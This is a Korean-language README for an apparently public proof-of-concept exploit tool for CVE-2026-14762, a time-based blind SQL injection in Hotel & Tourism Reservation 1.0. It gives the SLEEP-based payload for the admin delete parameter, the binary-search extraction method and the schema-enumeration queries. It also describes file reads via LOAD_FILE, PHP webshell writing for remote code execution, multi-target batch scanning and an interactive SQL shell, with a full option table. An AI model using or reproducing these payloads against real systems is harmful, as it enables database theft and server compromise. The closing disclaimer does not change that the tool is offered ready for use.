
멀티스레드 시간 기반 블라인드 SQL 인젝션 익스플로잇으로, Hotel & Tourism Reservation 1.0을 대상으로 하는 CVE-2026-14762입니다. 데이터베이스, 테이블, 컬럼을 열거하고, LOAD_FILE을 통해 파일을 읽으며, RCE를 위해 PHP 웹쉘을 작성합니다. 프록시, 배치 스캐닝, 대화형 SQL 셸을 지원합니다.
완전한 기능의 멀티스레드 시간 기반 블라인드 SQL 인젝션 익스플로잇 (CVE-2026-14762).
Code‑Projects 호텔 및 관광 예약 애플리케이션(버전 1.0)의 /admin/rooms.php 엔드포인트를 대상으로 합니다.
전체 데이터베이스 열거, 파일 시스템 읽기(LOAD_FILE), 임의 파일 쓰기(INTO OUTFILE / DUMPFILE)를 수행하여 웹셸 배포를 통한 원격 코드 실행으로 이어집니다.

requestsurllib3colorama (선택 사항 – 컬러 터미널 출력용)모든 의존성 설치:
pip install requests urllib3 colorama
git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git
cd CVE-2026-14762-PoC-Exploit
chmod +x exploit.py or basic_exploit.py
delete 매개변수에 다음이 삽입됩니다:
150' AND IF(<condition>, SLEEP(<delay>), 0) AND '1'='1
IF()는 조건을 평가합니다. true이면 데이터베이스가 초 동안 대기합니다.
각 문자 위치에 대해 ASCII 범위(32–126)에 대한 이진 검색을 통해 > 및 = 비교를 사용하여 올바른 문자를 결정합니다. 이렇게 하면 문자당 요청 수가 95개에서 약 7~8개로 줄어들어 추출이 매우 효율적입니다.
SELECT DATABASE()SELECT table_name FROM information_schema.tables WHERE table_schema='<db>' LIMIT n,1SELECT column_name FROM information_schema.columns WHERE table_schema='<db>' AND table_name='<table>' LIMIT n,1SELECT <col> FROM <table> LIMIT row,1 – 행 단위로 추출LOAD_FILE('/path/to/file') – secure_file_priv가 비어 있거나 대상 디렉토리를 가리켜야 함SELECT '<content>' INTO OUTFILE '/path/to/shell.php' – FILE 권한이 필요하고 secure_file_priv가 제한적이지 않아야 함이 도구는 공인된 보안 테스트, 교육 연구 및 취약점 평가 목적으로만 제공됩니다. 저자는 이 소프트웨어의 오용, 불법 활동 또는 손해에 대해 책임을 지지 않습니다. 테스트하기 전에 항상 시스템 소유자로부터 명시적인 서면 허가를 받으십시오.
| 범주 | 기능 |
|---|
| 취약점 | 시간 기반 블라인드 SQL 인젝션 (CWE‑89) |
| 공격 벡터 | GET /admin/rooms.php?delete=<payload> |
| 익스플로잇 | 조건부 SLEEP() 인젝션과 이진 검색 문자 추출 |
| 데이터베이스 | 현재 데이터베이스 이름 추출 |
| 스키마 | information_schema를 통한 테이블 및 컬럼 열거 |
| 데이터 덤프 | 전체 테이블 내보내기 (JSON) – 무제한 행, 구성 가능한 제한 |
| 파일 읽기 | LOAD_FILE() – MySQL이 읽을 수 있는 모든 파일 읽기 (예: /etc/passwd, 설정 파일) |
| 파일 쓰기 | INTO OUTFILE / DUMPFILE – PHP 웹셸, 백도어 또는 임의 콘텐츠 쓰기 |
| 대화형 셸 | 수동 쿼리를 위한 라이브 SQL 셸 (시간 기반 추출) |
| 단일 쿼리 | 임시 SQL 실행 및 결과 검색 (512자 제한) |
| 배치 모드 | 구성 가능한 스레드 풀을 사용한 다중 대상 스캔 (ThreadPoolExecutor) |
| 프록시 지원 | HTTP/HTTPS 프록시 (Burp Suite, mitmproxy 등) |
| 상세 로깅 | 타임스탬프가 포함된 디버그 정보의 컬러 출력 |
| 의존성 없음 | requests, urllib3, colorama (선택 사항)만 필요 |
| 인수 | 단축 | 유형 | 기본값 | 설명 |
|---|
--target | -t | URL | — | 단일 대상 URL (예: http://192.168.1.100) |
--target-file | -l | 파일 | — | 대상 목록이 포함된 파일 (한 줄에 하나씩) |
--threads | — | 정수 | 5 | 다중 대상 스캔을 위한 스레드 수 |
--output | -o | 경로 | — | 출력 파일 (덤프는 JSON, 파일은 원시 텍스트) |
--verbose | -v | 플래그 | False | 상세 디버그 로깅 활성화 |
--proxy | — | URL | — | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
--user-agent | -ua | 문자열 | Mozilla/5.0... | 사용자 정의 User-Agent 헤더 |
--delay | — | 실수 | 5.0 | 블라인드 인젝션의 대기 시간(초) |
--max-retries | — | 정수 | 3 | 최대 요청 재시도 횟수 |
--ssl-verify | — | 플래그 | False | SSL 인증서 검증 활성화 |
--webroot | — | 경로 | /var/www/html | INTO OUTFILE 웹셸 쓰기를 위한 웹루트 |
--dump-db | — | 플래그 | False | 현재 데이터베이스의 모든 테이블 덤프 |
--tables | — | 플래그 | False | 테이블 이름만 나열 |
--dump-table | — | 테이블 | — | 특정 테이블 덤프 (예: --dump-table users) |
--read | — | 경로 | — | LOAD_FILE()을 통해 파일 읽기 |
--write-shell | — | 플래그 | False | PHP 웹셸(shell.php)을 웹루트에 쓰기 |
--sql | — | 쿼리 | — | 단일 SQL 쿼리 실행 (최대 512자 반환) |
--interactive | -i | 플래그 | False | 익스플로잇 후 대화형 SQL 셸 실행 |